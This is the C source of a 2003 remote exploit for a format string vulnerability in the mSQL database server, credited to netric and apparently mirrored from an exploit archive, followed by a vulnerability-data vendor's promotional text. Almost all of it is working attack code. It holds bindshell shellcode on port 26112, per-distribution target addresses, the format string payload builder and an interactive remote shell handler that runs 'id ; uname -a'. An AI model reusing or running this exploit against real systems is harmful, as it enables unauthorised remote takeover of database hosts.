/* _ ________ _____ ______
__ ___ ____ /____.------` /_______.------.___.----` ___/____ _______
_/ \ _ /\ __. __// ___/_ ___. /_\ /_ | _/
___ ._\ . \\ /__ _____/ _ / \_ | /__ | _| slc | _____ _
- -------\______||--._____\---._______//-|__ //-.___|----._____||
/ \ /
\/
[*] mSQL < remote gid root exploit by lucipher & The Itch (netric)
------------------------------------------------------------------------------
[*] Exploits a format string hole in mSQL.
[*] Some functions are taken from mSQL's sourcecode
Copyright (c) 2003 Netric Security and lucipher
All rights reserved.
THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/
#include <stdio.h> /* required by fatal() */
#include <stdlib.h>
#include <stdarg.h> /* required by fatal() */
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <string.h>
#include <time.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h> /* required by errno */
#include <getopt.h> /* required by getopt() */
#include <signal.h>
#define PKT_LEN (128*1024)
#define ERR_BUF_LEN 200
#define resetError() bzero(msqlErrMsg,sizeof(msqlErrMsg))
#define chopError() { char *cp; cp = msqlErrMsg+strlen(msqlErrMsg) -1; \
if (*cp == '\n') *cp = 0;}
#define NET_READ(fd,b,l) read(fd,b,l)
#define NET_WRITE(fd,b,l) write(fd,b,l)
#define SERVER_GONE_ERROR "server has gone...\n"
#define UNKNOWN_ERROR "foo!"
static char msqlErrMsg[200];
static u_char packetBuf[PKT_LEN + 4];
static int readTimeout;
u_char *packet = NULL;
int netReadPacket(int fd);
int netWritePacket(int fd);
/* bindshell shellcode */
char linux_code[78] = /* binds on port 26112 */
"\x31\xdb\xf7\xe3\x53\x43\x53"
"\x6a\x02\x89\xe1\xb0\x66\x52"
"\x50\xcd\x80\x43\x66\x53\x89"
"\xe1\x6a\x10\x51\x50\x89\xe1"
"\x52\x50\xb0\x66\xcd\x80\x89"
"\xe1\xb3\x04\xb0\x66\xcd\x80"
"\x43\xb0\x66\xcd\x80\x89\xd9"
"\x93\xb0\x3f\xcd\x80\x49\x79"
"\xf9\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd"
"\x80";
static void intToBuf(cp, val)
u_char *cp;
int val;
{
*cp++ = (unsigned int) (val & 0x000000ff);
*cp++ = (unsigned int) (val & 0x0000ff00) >> 8;
*cp++ = (unsigned int) (val & 0x00ff0000) >> 16;
*cp++ = (unsigned int) (val & 0xff000000) >> 24;
}
static int bufToInt(cp)
u_char *cp;
{
int val;
val = 0;
val = *cp++;
val += ((int) *cp++) << 8;
val += ((int) *cp++) << 16;
val += ((int) *cp++) << 24;
return (val);
}
int netWritePacket(fd)
int fd;
{
int len, offset, remain, numBytes;
len = strlen((char *) packet);
intToBuf(packetBuf, len);
offset = 0;
remain = len + 4;
while (remain > 0) {
numBytes = NET_WRITE(fd, packetBuf + offset, remain);
if (numBytes == -1) {
return (-1);
}
offset += numBytes;
remain -= numBytes;
}
return (0);
}
int netReadPacket(fd)
int fd;
{
u_char buf[4];
int len, remain, offset, numBytes;
remain = 4;
offset = 0;
numBytes = 0;
readTimeout = 0;
while (remain > 0) {
/*
** We can't just set an alarm here as on lots of boxes
** both read and recv are non-interuptable. So, we
** wait till there something to read before we start
** reading in the server (not the client)
*/
if (!readTimeout) {
numBytes = NET_READ(fd, buf + offset, remain);
if (numBytes < 0 && errno != EINTR) {
fprintf(stderr,
"Socket read on %d for length failed : ",
fd);
perror("");
}
if (numBytes <= 0)
return (-1);
}
if (readTimeout)
break;
remain -= numBytes;
offset += numBytes;
}
len = bufToInt(buf);
if (len > PKT_LEN) {
fprintf(stderr, "Packet too large (%d)\n", len);
return (-1);
}
if (len < 0) {
fprintf(stderr, "Malformed packet\n");
return (-1);
}
remain = len;
offset = 0;
while (remain > 0) {
numBytes = NET_READ(fd, packet + offset, remain);
if (numBytes <= 0) {
return (-1);
}
remain -= numBytes;
offset += numBytes;
}
*(packet + len) = 0;
return (len);
}
int msqlSelectDB(int sock, char *db)
{
memset(msqlErrMsg, 0x0, sizeof(msqlErrMsg));
packet = packetBuf+4;
snprintf(packet, PKT_LEN, "%d:%s\n", 2, db);
netWritePacket(sock);
if (netReadPacket(sock) <= 0) {
strcpy(msqlErrMsg, SERVER_GONE_ERROR);
return (-1);
}
if (atoi(packet) == -1) {
char *cp;
cp = (char *) index(packet, ':');
if (cp) {
strcpy(msqlErrMsg, cp + 1);
chopError();
} else {
strcpy(msqlErrMsg, UNKNOWN_ERROR);
}
return (-1);
}
return (0);
}
struct target {
char *name; /* target description */
unsigned long writeaddr; /* mSQL's errMsg + 18 + 8 address */
unsigned long smashaddr; /* strcpy's GOT address */
unsigned long pops; /* number of stack pops */
};
/* high and low words indexers */
enum { hi, lo };
/* default values. */
struct target targets[] = {
/* name write smash pops */
{ "SlackWare 8.1 - mSQL 3.0p1", 0x80a169a, 0x080751ec, 113 },
{ "Debian 3.0 - mSQL 3.0p1", 134879034, 0x08075224, 113 },
{ "RedHat 8.0 - mSQL 3.0p1", 0x804b778, 0x08074c1c, 115 },
{ "RedHat 8.0 (II) - mSQL 3.0p1", 0x804b778, 0x08074c1c, 116 },
{ NULL, 0x0, 0x0, 0 }
};
void fatal(char *fmt, ...)
{
char buffer[1024];
va_list ap;
va_start(ap, fmt);
vsnprintf(buffer, sizeof (buffer) - 1, fmt, ap);
va_end(ap);
fprintf(stderr, "%s", buffer);
exit(1);
}
/* resolve a given hostname */
unsigned long tcp_resolv(char *hostname)
{
struct hostent *he;
unsigned long addr;
int n;
he = gethostbyname(hostname);
if (he == NULL) {
n = inet_aton(hostname, (struct in_addr *) addr);
if (n < 0)
fatal("inet_aton: %s\n", strerror(errno));
return addr;
}
return *(unsigned long *) he->h_addr;
}
/* routine to open a tcp/ip connection */
int tcp_connect(char *hostname, int port)
{
struct sockaddr_in sin;
int fd, n;
sin.sin_addr.s_addr = tcp_resolv(hostname);
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
fd = socket(AF_INET, SOCK_STREAM, 6);
if (fd < 0)
return -1;
n = connect(fd, (struct sockaddr *) &sin, sizeof (sin));
if (n < 0)
return -1;
return fd;
}
int msql_login(char *hostname, unsigned short int port)
{
char buffer[300], *p;
int fd, n, opt;
fd = tcp_connect(hostname, port);
if (fd < 0)
fatal("[-] couldn't connect to host %s:%u\n", hostname, port);
setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, (char *) &opt, 4);
memset(&buffer, 0x0, sizeof(buffer));
n = read(fd, &buffer, sizeof(buffer) - 1);
if (n < 0)
fatal("[-] could not read socket: %s\n", strerror(errno));
p = (char *)&buffer + 4;
if (atoi(p) == -1)
fatal("[-] bad handshake received.\n");
p++;
if (*p != ':') p++;
p++;
if (*p >= '1' && *p <= '3') {
/* send buffer size within packet. */
buffer[0] = (unsigned int) (5UL & 0x000000ff);
buffer[1] = (unsigned int) (5UL & 0x0000ff00) >> 8;
buffer[2] = (unsigned int) (5UL & 0x00ff0000) >> 16;
buffer[3] = (unsigned int) (5UL & 0xff000000) >> 24;
/* sorta like our login. */
buffer[4] = 'r';
buffer[5] = 'o';
buffer[6] = 'o';
buffer[7] = 't';
buffer[8] = '\n';
buffer[9] = '\0';
write(fd, buffer, 9);
}
n = read(fd, buffer, sizeof(buffer) - 1);
if (n < 0)
fatal("[-] client failed in handshake.\n");
printf("[+] connected to %s -> %u\n", hostname, port);
return fd;
}
void msql_selectdb(int fd, char *database)
{
unsigned char buffer[300];
unsigned int len;
len = 117;
buffer[0] = (unsigned char)(len & 0x000000ff);
buffer[1] = (unsigned char)(len & 0x0000ff00) >> 8;
buffer[2] = (unsigned char)(len & 0x00ff0000) >> 16;
buffer[3] = (unsigned char)(len & 0xff000000) >> 24;
snprintf(&buffer[4], sizeof(buffer) - 1, "2:%s\n", database);
len = write(fd, &buffer[0], len);
}
void shell(int fd)
{
char buf[512];
fd_set rfds;
int l;
write(fd, "id ; uname -a\n", 14);
while (1) {
FD_SET(0, &rfds);
FD_SET(fd, &rfds);
select(fd + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET(0, &rfds)) {
l = read(0, buf, sizeof (buf));
if (l <= 0) {
perror("read user");
exit(EXIT_FAILURE);
}
write(fd, buf, l);
}
if (FD_ISSET(fd, &rfds)) {
l = read(fd, buf, sizeof (buf));
if (l == 0) {
fatal("connection closed by foreign host.\n");
} else if (l < 0) {
perror("read remote");
exit (EXIT_FAILURE);
}
write(1, buf, l);
}
}
}
void usage(void)
{
fprintf(stderr, "mSQLexploit\n\n");
fprintf(stderr, " -l\t\tlist available targets.\n");
fprintf(stderr, " -t target\ttarget selection.\n");
fprintf(stderr, " *** MANUAL ATTACK ***\n");
fprintf(stderr, " -s [addr]\tsmash address.\n");
fprintf(stderr, " -w [addr]\twrite address.\n");
fprintf(stderr, " -p [num]\tnumber of pops.\n");
exit(1);
}
int main(int argc, char **argv)
{
struct target manual;
struct target *target = NULL;
unsigned short port = 0, addr[2];
unsigned char split[4];
char *hostname, buffer[200];
int fd, opt;
if (argc <= 1)
usage();
memset(&manual, 0x00, sizeof(struct target));
while ((opt = getopt(argc, argv, "lht:s:w:p:")) != EOF) {
switch (opt) {
case 't': /* pre-written target selection */
target = &targets[atoi(optarg)];
break;
case 'l':
{
int i;
/* iterate through the list of targets and display. */
for (i = 0; targets[i].name; i++)
printf("[%d] %s\n", i, targets[i].name);
exit(1);
}
case 'h':
/* print exploit usage information */
usage();
break; /* never reached */
case 's':
if (target == NULL)
target = &manual;
target->name = "Manual Target";
target->smashaddr = strtoul(optarg, NULL, 16);
break;
case 'w':
if (target == NULL)
target = &manual;
target->name = "Manual Target";
target->writeaddr = strtoul(optarg, NULL, 16) + 0x1a;
break;
case 'p':
if (target == NULL)
target = &manual;
target->name = "Manual Target";
target->pops = atoi(optarg);
}
}
argc -= optind;
argv += optind;
if (argc <= 0) {
fatal("choose a hostname and optionally a port\n");
} else if (argc == 1) {
hostname = argv[0];
} else {
hostname = argv[0];
port = atoi(argv[1]) & 0xff;
}
if (target != NULL) {
if (!strncmp(target->name, "Manual", 6))
if (!target->smashaddr || !target->writeaddr ||
!target->pops)
fatal("exploit requires pop count and "
"smash, write addresses: use -p and -w and -s "
"to set them\n");
} else {
target = &target[0];
}
printf("[+] attacking %s -> %u\n", hostname, (port) ? port : 1114);
fd = msql_login(hostname, (port) ? port : 1114);
printf("[+] name %s\n", target->name);
printf("[+] smash %08lx\n", target->smashaddr);
printf("[+] write %08lx\n", target->writeaddr);
printf("[+] Now building string...\n");
memset(&buffer, 0x0, sizeof(buffer));
addr[lo] = (target->writeaddr & 0x0000ffff);
addr[hi] = (target->writeaddr & 0xffff0000) >> 16;
/* split the address */
split[0] = (target->smashaddr & 0xff000000) >> 24;
split[1] = (target->smashaddr & 0x00ff0000) >> 16;
split[2] = (target->smashaddr & 0x0000ff00) >> 8;
split[3] = (target->smashaddr & 0x000000ff);
/* build the format string */
if (addr[hi] < addr[lo])
snprintf(buffer, sizeof(buffer),
"%c%c%c%c"
"%c%c%c%c"
"%s"
"%%.%du%%%ld$hn"
"%%.%du%%%ld$hn",
split[3] + 2, split[2], split[1], split[0],
split[3], split[2], split[1], split[0],
linux_code,
addr[hi] - 0x68, target->pops,
addr[lo] - addr[hi], target->pops + 1);
else
snprintf(buffer, sizeof(buffer),
"%c%c%c%c"
"%c%c%c%c"
"%s"
"%%.%du%%%ld$hn"
"%%.%du%%%ld$hn",
split[3] + 2, split[2], split[1], split[0],
split[3], split[2], split[1], split[0],
linux_code,
addr[lo] - 0x68, target->pops,
addr[hi] - addr[lo], target->pops + 1);
printf("[+] Trying to exploit...\n");
msqlSelectDB(fd, buffer);
switch (opt = fork()) {
case 0:
msqlSelectDB(fd, buffer);
exit(1);
case -1:
fatal("[-] failed fork()!\n");
default:
break;
}
printf("[+] sleeping...\n");
sleep(1);
opt = tcp_connect(hostname, 26112);
if (opt < 0)
fatal("[-] failed! couldn't connect to bindshell!\n");
printf("[+] shell!\n");
shell(opt);
return 0;
}
// milw0rm.com [2003-07-25]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation